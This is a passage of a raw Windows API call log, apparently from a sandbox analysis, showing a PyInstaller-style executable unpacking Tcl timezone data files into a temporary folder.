lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.509] GetFileType (hFile=0x10c) returned 0x1 [0039.509] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.509] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.509] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.509] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.509] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.509] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.509] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.509] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.509] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.509] CloseHandle (hObject=0x10c) returned 1 [0039.509] GetLastError () returned 0x0 [0039.510] SetLastError (dwErrCode=0x0) [0039.510] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Regina") returned 71 [0039.510] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Regina" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\regina"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.510] GetLastError () returned 0x2 [0039.510] SetLastError (dwErrCode=0x2) [0039.510] GetLastError () returned 0x2 [0039.510] SetLastError (dwErrCode=0x2) [0039.510] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Regina", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Regina", lpFilePart=0x0) returned 0x46 [0039.510] GetLastError () returned 0x2 [0039.510] SetLastError (dwErrCode=0x2) [0039.510] GetLastError () returned 0x2 [0039.510] SetLastError (dwErrCode=0x2) [0039.510] GetLastError () returned 0x2 [0039.510] SetLastError (dwErrCode=0x2) [0039.510] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Regina") returned 71 [0039.510] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.510] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Regina" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\regina"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.514] GetFileType (hFile=0x10c) returned 0x1 [0039.514] htonl (hostlong=0xbb060000) returned 0x6bb [0039.514] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.514] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x6bb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x6bb, lpOverlapped=0x0) returned 1 [0039.515] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.515] CloseHandle (hObject=0x10c) returned 1 [0039.515] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.515] htonl (hostlong=0x30000000) returned 0x30 [0039.515] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.515] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.516] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.516] GetFileType (hFile=0x10c) returned 0x1 [0039.516] htonl (hostlong=0x281e5a00) returned 0x5a1e28 [0039.516] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ece28, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.516] htonl (hostlong=0xbf050000) returned 0x5bf [0039.516] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5bf) returned 0x550600 [0039.516] htonl (hostlong=0xbf050000) returned 0x5bf [0039.516] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.516] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.516] htonl (hostlong=0xc21c0000) returned 0x1cc2 [0039.516] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1cc2) returned 0x561090 [0039.516] htonl (hostlong=0xbf050000) returned 0x5bf [0039.516] htonl (hostlong=0xc21c0000) returned 0x1cc2 [0039.516] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562d60 [0039.516] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562d60 | out: hHeap=0x530000) returned 1 [0039.516] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.516] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.516] CloseHandle (hObject=0x10c) returned 1 [0039.516] GetLastError () returned 0x0 [0039.516] SetLastError (dwErrCode=0x0) [0039.516] GetLastError () returned 0x0 [0039.516] SetLastError (dwErrCode=0x0) [0039.516] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.516] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.517] GetFileType (hFile=0x10c) returned 0x1 [0039.517] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.517] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.517] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.517] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.517] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.518] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.518] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.518] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.518] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.518] CloseHandle (hObject=0x10c) returned 1 [0039.518] GetLastError () returned 0x0 [0039.518] SetLastError (dwErrCode=0x0) [0039.518] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.518] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.518] GetFileType (hFile=0x10c) returned 0x1 [0039.518] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.518] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.518] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.518] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.518] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.518] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.518] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.518] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.518] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.518] CloseHandle (hObject=0x10c) returned 1 [0039.518] GetLastError () returned 0x0 [0039.518] SetLastError (dwErrCode=0x0) [0039.518] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.519] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.519] GetFileType (hFile=0x10c) returned 0x1 [0039.519] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.519] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.519] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.519] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.519] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.519] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.519] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.519] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.519] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.519] CloseHandle (hObject=0x10c) returned 1 [0039.519] GetLastError () returned 0x0 [0039.519] SetLastError (dwErrCode=0x0) [0039.519] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Resolute") returned 73 [0039.519] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Resolute" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\resolute"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.519] GetLastError () returned 0x2 [0039.519] SetLastError (dwErrCode=0x2) [0039.519] GetLastError () returned 0x2 [0039.519] SetLastError (dwErrCode=0x2) [0039.519] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Resolute", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Resolute", lpFilePart=0x0) returned 0x48 [0039.519] GetLastError () returned 0x2 [0039.519] SetLastError (dwErrCode=0x2) [0039.519] GetLastError () returned 0x2 [0039.519] SetLastError (dwErrCode=0x2) [0039.520] GetLastError () returned 0x2 [0039.520] SetLastError (dwErrCode=0x2) [0039.520] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Resolute") returned 73 [0039.520] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.520] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Resolute" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\resolute"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.520] GetFileType (hFile=0x10c) returned 0x1 [0039.520] htonl (hostlong=0xc21c0000) returned 0x1cc2 [0039.520] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0039.521] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.521] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xcc2, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xcc2, lpOverlapped=0x0) returned 1 [0039.521] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.521] CloseHandle (hObject=0x10c) returned 1 [0039.522] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.523] htonl (hostlong=0x30000000) returned 0x30 [0039.523] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.523] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.523] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.523] GetFileType (hFile=0x10c) returned 0x1 [0039.523] htonl (hostlong=0xe7235a00) returned 0x5a23e7 [0039.523] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ed3e7, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.523] htonl (hostlong=0x43010000) returned 0x143 [0039.523] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x143) returned 0x550600 [0039.523] htonl (hostlong=0x43010000) returned 0x143 [0039.523] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.524] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.524] htonl (hostlong=0x23040000) returned 0x423 [0039.524] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x423) returned 0x550750 [0039.524] htonl (hostlong=0x43010000) returned 0x143 [0039.524] htonl (hostlong=0x23040000) returned 0x423 [0039.524] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.524] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.524] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.524] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.524] CloseHandle (hObject=0x10c) returned 1 [0039.524] GetLastError () returned 0x0 [0039.524] SetLastError (dwErrCode=0x0) [0039.524] GetLastError () returned 0x0 [0039.524] SetLastError (dwErrCode=0x0) [0039.524] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.524] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.524] GetFileType (hFile=0x10c) returned 0x1 [0039.525] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.525] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.525] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.525] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.525] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.525] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.525] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.525] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.525] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.525] CloseHandle (hObject=0x10c) returned 1 [0039.525] GetLastError () returned 0x0 [0039.525] SetLastError (dwErrCode=0x0) [0039.525] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.525] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.525] GetFileType (hFile=0x10c) returned 0x1 [0039.525] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.525] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.525] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.525] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.525] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.525] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.525] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.525] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.525] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.526] CloseHandle (hObject=0x10c) returned 1 [0039.526] GetLastError () returned 0x0 [0039.526] SetLastError (dwErrCode=0x0) [0039.526] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.526] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.526] GetFileType (hFile=0x10c) returned 0x1 [0039.526] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.526] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.526] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.526] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.526] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.526] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.526] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: 